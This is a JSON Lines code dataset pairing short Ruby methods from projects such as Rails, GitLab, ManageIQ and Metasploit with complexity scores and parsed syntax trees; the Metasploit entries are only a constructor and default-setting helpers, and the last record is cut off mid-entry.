{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/relationship_mixin.rb","start_line":430,"raw_source":"def subtree_rels_arranged(*args)\n    options = args.extract_options!\n    rel = relationship(:raise_on_multiple => true)\n    return {relationship_for_isolated_root => {}} if rel.nil?\n\n    Relationship.filter_by_resource_type(rel.subtree, options).arrange\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"subtree_rels_arranged\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"extract_options!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rel\",{\"type\":\"send\",\"children\":[null,\"relationship\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_multiple\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relationship_for_isolated_root\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relationship\"]},\"filter_by_resource_type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rel\"]},\"subtree\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"arrange\"]}]}]}","id":"ac0d5880-c61f-4bdf-a240-08a812db6ac0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/where_test.rb","start_line":152,"raw_source":"def test_where_with_nil_cpk_association\n      order = Cpk::Order.create!(id: [1, 2])\n      book = order.books.create!(id: [3, 4])\n      assert_includes Cpk::Book.where(order: order), book\n\n      book.update!(order: nil)\n      assert_includes Cpk::Book.where(order: nil), book\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_where_with_nil_cpk_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cpk\"]},\"Order\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"book\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"order\"]},\"books\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cpk\"]},\"Book\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"order\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"book\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"book\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cpk\"]},\"Book\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"book\"]}]}]}]}","id":"3b953a9a-e8fb-4502-befe-f10f7e4bf2ef"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb","start_line":40,"raw_source":"def compute_column_widths(result)\n            [].tap do |widths|\n              result.columns.each_with_index do |column, i|\n                cells_in_column = [column] + result.rows.map { |r| r[i].nil? ? \"NULL\" : r[i].to_s }\n                widths << cells_in_column.map(&:length).max\n              end\n            end\n          end","complexity_score":27.8,"ast_json":"{\"type\":\"def\",\"children\":[\"compute_column_widths\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"widths\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"columns\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cells_in_column\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]}]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"rows\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"nil?\"]},{\"type\":\"str\",\"children\":[\"NULL\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"to_s\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"widths\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cells_in_column\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"length\"]}]}]},\"max\"]}]}]}]}]}]}","id":"6925653b-c58a-4641-80d2-bfa5dbc64265"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/tags/datetime_local_field.rb","start_line":7,"raw_source":"def initialize(object_name, method_name, template_object, options = {})\n          @include_seconds = options.delete(:include_seconds) { true }\n          super\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object_name\"]},{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"arg\",\"children\":[\"template_object\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@include_seconds\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"include_seconds\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"1e9df390-c8fa-415f-b8cf-eaa1b57046cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/command_logger.rb","start_line":33,"raw_source":"def log?\n          Feature.enabled?(:ci_pipeline_command_logger_commit, Feature.current_request)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"log?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"ci_pipeline_command_logger_commit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"current_request\"]}]}]}","id":"461a58cc-9349-4b0f-928f-ce3ed36d7b16"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/dns/server.rb","start_line":22,"raw_source":"def initialize(host, port, sock)\n      @peerhost = host\n      @peerport = port\n      @srvsock = sock\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"port\"]},{\"type\":\"arg\",\"children\":[\"sock\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@peerhost\",{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@peerport\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@srvsock\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]}]}","id":"1735f901-61fc-4872-b678-26db61c73fd4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/update_build_queue_service.rb","start_line":44,"raw_source":"def remove!(build)\n      removed = build.all_queuing_entries.delete_all\n\n      if removed > 0\n        metrics.increment_queue_operation(:build_queue_pop)\n\n        build.id\n      end\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"build\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"removed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"all_queuing_entries\"]},\"delete_all\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"metrics\"]},\"increment_queue_operation\",{\"type\":\"sym\",\"children\":[\"build_queue_pop\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"build\"]},\"id\"]}]},null]}]}]}","id":"8ffcfa86-3fd3-45ea-aec6-20abb631b1ef"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/in_operator_optimization/order_by_columns.rb","start_line":24,"raw_source":"def array_aggregated_columns\n            columns.map(&:array_aggregated_column)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"array_aggregated_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"columns\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_aggregated_column\"]}]}]}]}","id":"1a9ed6c9-0298-4995-929f-4aa06e23f783"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/models/story.rb","start_line":68,"raw_source":"def self.types\n    types = Setting.plugin_openproject_backlogs[\"story_types\"]\n    return [] if types.blank?\n\n    types.map { |type| Integer(type) }\n  end","complexity_score":8.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"types\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"plugin_openproject_backlogs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"story_types\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]}","id":"e09cb207-a0cc-470f-b91c-d0367c40f3dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/setup_helper.rb","start_line":196,"raw_source":"def get_config_path(dir, options)\n          config_filename = options[:config_filename] || 'praefect.config.toml'\n          File.join(dir, config_filename)\n        end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_config_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config_filename\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"config_filename\"]}]},{\"type\":\"str\",\"children\":[\"praefect.config.toml\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dir\"]},{\"type\":\"lvar\",\"children\":[\"config_filename\"]}]}]}]}","id":"8dedb2f3-6257-4f54-9609-bb14e672b594"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_one_associations_test.rb","start_line":626,"raw_source":"def test_association_protect_foreign_key\n    pirate = Pirate.create!(catchphrase: \"Don' botharrr talkin' like one, savvy?\")\n\n    ship = pirate.build_ship\n    assert_equal pirate.id, ship.pirate_id\n\n    ship = pirate.build_ship pirate_id: pirate.id + 1\n    assert_equal pirate.id, ship.pirate_id\n\n    ship = pirate.create_ship\n    assert_equal pirate.id, ship.pirate_id\n\n    ship = pirate.create_ship pirate_id: pirate.id + 1\n    assert_equal pirate.id, ship.pirate_id\n  end","complexity_score":29.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_association_protect_foreign_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pirate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catchphrase\"]},{\"type\":\"str\",\"children\":[\"Don' botharrr talkin' like one, savvy?\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ship\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"build_ship\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship\"]},\"pirate_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ship\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"build_ship\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pirate_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"id\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship\"]},\"pirate_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ship\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"create_ship\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship\"]},\"pirate_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ship\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"create_ship\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pirate_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"id\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ship\"]},\"pirate_id\"]}]}]}]}","id":"0f6c202b-6c68-4f75-a8a0-b6111f358e14"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_dev/reviewable.rb","start_line":35,"raw_source":"def self.create_needed_topics(count)\n      topics = ::Topic.listable_topics.where.not(id: ::Category.pluck(:topic_id)).limit(count).to_a\n\n      (count - topics.size).times { topics << Topic.new.create! } if topics.size < count\n\n      topics\n    end","complexity_score":22.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_needed_topics\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Topic\"]},\"listable_topics\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Category\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]}]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"count\"]}]},\"to_a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"size\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"size\"]}]}]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"new\"]},\"create!\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"topics\"]}]}]}","id":"54659d00-8a30-4447-bc88-d98c77df27c9"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/network_manager.rb","start_line":188,"raw_source":"def create_security_policy_rule_queue(userid, options = {})\n      task_opts = {\n        :action => \"creating Security Policy Rule for user #{userid}\",\n        :userid => userid\n      }\n      queue_opts = {\n        :class_name  => self.class.name,\n        :method_name => 'create_security_policy_rule',\n        :instance_id => id,\n        :role        => 'ems_operations',\n        :queue_name  => queue_name_for_ems_operations,\n        :zone        => my_zone,\n        :args        => [options]\n      }\n      MiqTask.generic_action_with_callback(task_opts, queue_opts)\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_security_policy_rule_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userid\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"task_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"creating Security Policy Rule for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"queue_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"create_security_policy_rule\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[null,\"queue_name_for_ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[null,\"my_zone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"generic_action_with_callback\",{\"type\":\"lvar\",\"children\":[\"task_opts\"]},{\"type\":\"lvar\",\"children\":[\"queue_opts\"]}]}]}]}","id":"1dc07713-8033-4a51-99e6-d9e3f02ffd1c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_packages/costs.rb","start_line":73,"raw_source":"def overall_costs\n      labor_costs + material_costs\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"overall_costs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"labor_costs\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"material_costs\"]}]}]}","id":"65aa52b5-9316-4d20-9bc2-07d4951d3f6a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/ci/contextable.rb","start_line":66,"raw_source":"def simple_variables_without_dependencies\n      strong_memoize(:variables_without_dependencies) do\n        scoped_variables(environment: nil, dependencies: false)\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"simple_variables_without_dependencies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"variables_without_dependencies\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"scoped_variables\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dependencies\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"e9657532-1f50-435e-b0f9-16b7f10721da"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/unallow_domain_service.rb","start_line":14,"raw_source":"def suspend_accounts!(domain)\n    Account.where(domain: domain).in_batches.touch_all(:suspended_at)\n    AfterUnallowDomainWorker.perform_async(domain)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"suspend_accounts!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"domain\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]},\"in_batches\"]},\"touch_all\",{\"type\":\"sym\",\"children\":[\"suspended_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AfterUnallowDomainWorker\"]},\"perform_async\",{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}","id":"98b0c820-8a99-4bf4-a80c-cc30fc67079f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/tomcat.rb","start_line":17,"raw_source":"def set_sane_defaults\n          self.uri = \"/manager/html\" if self.uri.nil?\n          self.method = \"GET\" if self.method.nil?\n\n          super\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_sane_defaults\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"uri\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"uri=\",{\"type\":\"str\",\"children\":[\"/manager/html\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"method\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"method=\",{\"type\":\"str\",\"children\":[\"GET\"]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"97dd6195-d962-48d1-bd39-997de15b8e7a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_event.rb","start_line":184,"raw_source":"def self.process_host_in_event!(event, options = {})\n    uid_ems = event.delete(:host_uid_ems)\n    process_object_in_event!(Host, event, options)\n\n    if event[:host_id].nil? && uid_ems.present?\n      # Attempt to find a host in the current EMS first, then fallback to archived hosts\n      host = Host.where(:uid_ems => uid_ems, :ems_id => [event[:ems_id], nil]).order(\"ems_id NULLS LAST\").first\n      unless host.nil?\n        event[:host_id]     = host.id\n        event[:host_name] ||= host.name\n      end\n    end\n  end","complexity_score":23.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"process_host_in_event!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uid_ems\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"host_uid_ems\"]}]}]},{\"type\":\"send\",\"children\":[null,\"process_object_in_event!\",{\"type\":\"const\",\"children\":[null,\"Host\"]},{\"type\":\"lvar\",\"children\":[\"event\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host_id\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uid_ems\"]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Host\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid_ems\"]},{\"type\":\"lvar\",\"children\":[\"uid_ems\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ems_id\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},\"order\",{\"type\":\"str\",\"children\":[\"ems_id NULLS 